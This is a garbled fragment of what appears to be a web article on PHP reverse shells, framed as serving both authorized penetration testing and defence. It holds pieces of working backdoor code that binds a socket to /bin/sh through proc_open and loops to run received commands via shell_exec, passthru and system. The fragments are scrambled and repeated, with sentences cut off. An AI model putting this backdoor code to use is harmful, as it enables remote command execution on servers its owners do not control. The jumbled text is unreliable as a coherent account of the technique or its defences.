// Spawn a shell process $descriptorspec = [ 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ];
if (is_resource($process)) proc_close($process);
Introduction In the world of cybersecurity, few terms evoke as much tension as "Reverse Shell." For penetration testers (ethical hackers), it is a golden standard for gaining control over a remote server. For malicious actors, it is a primary tool for persistence and lateral movement. When you combine this technique with the world's most popular server-side scripting language—PHP—you get a potent, flexible, and often hard-to-detect backdoor. Reverse Shell Php
// Execute /bin/sh (Unix) or cmd.exe (Windows) $process = proc_open('/bin/sh', $descriptorspec, $pipes);
// Try every command execution method if (function_exists('shell_exec')) while ($cmd = fgets($sock)) fwrite($sock, shell_exec($cmd) . "\n"); // Spawn a shell process $descriptorspec = [
elseif (function_exists('passthru')) while ($cmd = fgets($sock)) ob_start(); passthru($cmd); fwrite($sock, ob_get_clean() . "\n");
This article serves a dual purpose. First, we will explore what a PHP reverse shell is, how it works, and provide technical examples for authorized security testing. Second, and more importantly, we will arm system administrators and developers with the knowledge to detect, prevent, and defend against these attacks. // Execute /bin/sh (Unix) or cmd
elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n");